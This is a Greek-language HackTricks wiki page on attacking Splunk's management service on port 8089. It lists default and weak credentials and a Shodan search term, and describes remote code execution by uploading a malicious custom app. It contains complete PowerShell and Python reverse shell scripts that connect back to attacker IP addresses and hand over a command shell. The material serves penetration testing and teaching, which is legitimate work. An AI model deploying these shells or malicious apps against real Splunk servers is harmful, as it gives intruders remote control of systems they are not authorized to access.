mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
119 lines
6.4 KiB
Markdown
119 lines
6.4 KiB
Markdown
# 8089 - Pentesting Splunkd
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## **Βασικές Πληροφορίες**
|
||
|
||
- Εργαλείο ανάλυσης καταγραφών που χρησιμοποιείται για τη συλλογή, ανάλυση και οπτικοποίηση δεδομένων
|
||
- Χρησιμοποιείται συνήθως στην παρακολούθηση ασφάλειας και στην επιχειρηματική ανάλυση
|
||
- Προεπιλεγμένες θύρες:
|
||
- Διακομιστής ιστού: 8000
|
||
- Υπηρεσία Splunkd: 8089
|
||
|
||
### Δ vectors Ευπάθειας:
|
||
|
||
1. Εκμετάλλευση Δωρεάν Έκδοσης
|
||
|
||
- Η δοκιμαστική έκδοση μετατρέπεται αυτόματα σε δωρεάν έκδοση μετά από 60 ημέρες
|
||
- Η δωρεάν έκδοση δεν έχει αυθεντικοποίηση
|
||
- Πιθανός κίνδυνος ασφάλειας αν αφεθεί χωρίς διαχείριση
|
||
- Οι διαχειριστές μπορεί να παραβλέψουν τις επιπτώσεις ασφάλειας
|
||
|
||
2. Αδυναμίες Διαπιστευτηρίων
|
||
|
||
- Παλαιότερες εκδόσεις: Προεπιλεγμένα διαπιστευτήρια `admin:changeme`
|
||
- Νεότερες εκδόσεις: Διαπιστευτήρια που ορίζονται κατά την εγκατάσταση
|
||
- Πιθανότητα χρήσης αδύναμων κωδικών πρόσβασης (π.χ., `admin`, `Welcome`, `Password123`)
|
||
|
||
3. Ευκαιρίες Εκτέλεσης Κώδικα από Απόσταση
|
||
|
||
- Πολλές μέθοδοι εκτέλεσης κώδικα:
|
||
- Εφαρμογές Django πλευράς διακομιστή
|
||
- REST endpoints
|
||
- Σενάρια εισόδου
|
||
- Σενάρια ειδοποίησης
|
||
- Υποστήριξη πολλαπλών πλατφορμών (Windows/Linux)
|
||
- Τα σενάρια εισόδου μπορούν να εκτελούνται:
|
||
- Bash scripts
|
||
- PowerShell scripts
|
||
- Batch scripts
|
||
|
||
Κύρια Δυνατότητα Εκμετάλλευσης:
|
||
|
||
- Αποθήκευση ευαίσθητων δεδομένων
|
||
- Έλλειψη αυθεντικοποίησης στη δωρεάν έκδοση
|
||
- Πολλαπλοί δ vectors για πιθανή εκτέλεση κώδικα από απόσταση
|
||
- Δυνατότητα εκμετάλλευσης σενάριων εισόδου για συμβιβασμό συστήματος
|
||
|
||
### Shodan
|
||
|
||
- `Splunk build`
|
||
|
||
## RCE
|
||
|
||
### Δημιουργία Προσαρμοσμένης Εφαρμογής
|
||
|
||
Το Splunk προσφέρει μια προηγμένη μέθοδο για την εκτέλεση κώδικα από απόσταση μέσω της ανάπτυξης προσαρμοσμένων εφαρμογών, εκμεταλλευόμενο τις δυνατότητες scripting πολλαπλών πλατφορμών του. Η βασική τεχνική εκμετάλλευσης περιστρέφεται γύρω από τη δημιουργία μιας κακόβουλης εφαρμογής που μπορεί να εκτελεί reverse shells σε συστήματα Windows και Linux.
|
||
|
||
Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελεί **Python, Batch, Bash ή PowerShell scripts**. Επιπλέον, **το Splunk έρχεται με εγκατεστημένο Python**, οπότε ακόμη και σε **Windows** συστήματα θα μπορείτε να εκτελείτε κώδικα python.
|
||
|
||
Μπορείτε να χρησιμοποιήσετε [**αυτό**](https://github.com/0xjpuff/reverse_shell_splunk) το παράδειγμα με το **`bin`** που περιέχει παράδειγμα για [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) και [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ή μπορείτε να δημιουργήσετε το δικό σας.
|
||
|
||
Η διαδικασία εκμετάλλευσης ακολουθεί μια συνεπή μεθοδολογία σε όλες τις πλατφόρμες:
|
||
```
|
||
splunk_shell/
|
||
├── bin (reverse shell scripts)
|
||
└── default (inputs.conf configuration)
|
||
```
|
||
Το κρίσιμο αρχείο ρύθμισης `inputs.conf` ενεργοποιεί το σενάριο με:
|
||
|
||
- Ρύθμιση `disabled = 0`
|
||
- Διαμόρφωση ενός διαστήματος εκτέλεσης 10 δευτερολέπτων
|
||
- Ορισμός του τύπου πηγής του σεναρίου
|
||
|
||
Η ανάπτυξη είναι απλή:
|
||
|
||
1. Δημιουργήστε το κακόβουλο πακέτο εφαρμογής
|
||
2. Ρυθμίστε έναν ακροατή (Netcat/socat) στη μηχανή επίθεσης
|
||
3. Ανεβάστε την εφαρμογή μέσω της διεπαφής του Splunk
|
||
4. Ενεργοποιήστε την αυτόματη εκτέλεση του σεναρίου κατά την ανέβασμα
|
||
|
||
Δείγμα Windows PowerShell reverse shell:
|
||
```bash
|
||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
|
||
$stream = $client.GetStream();
|
||
[byte[]]$bytes = 0..65535|%{0};
|
||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
|
||
$sendback = (iex $data 2>&1 | Out-String );
|
||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||
$stream.Write($sendbyte,0,$sendbyte.Length);
|
||
$stream.Flush()
|
||
};
|
||
$client.Close()
|
||
```
|
||
Δείγμα αντίστροφης θήκης Python σε Linux:
|
||
```python
|
||
import sys, socket, os, pty
|
||
ip = "10.10.14.15"
|
||
port = "443"
|
||
s = socket.socket()
|
||
s.connect((ip, int(port)))
|
||
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
|
||
pty.spawn('/bin/bash')
|
||
```
|
||
### RCE & Privilege Escalation
|
||
|
||
Στην παρακάτω σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να κλιμακώσει τα δικαιώματα και να αποκτήσει επιμονή:
|
||
|
||
{{#ref}}
|
||
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
|
||
{{#endref}}
|
||
|
||
## References
|
||
|
||
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|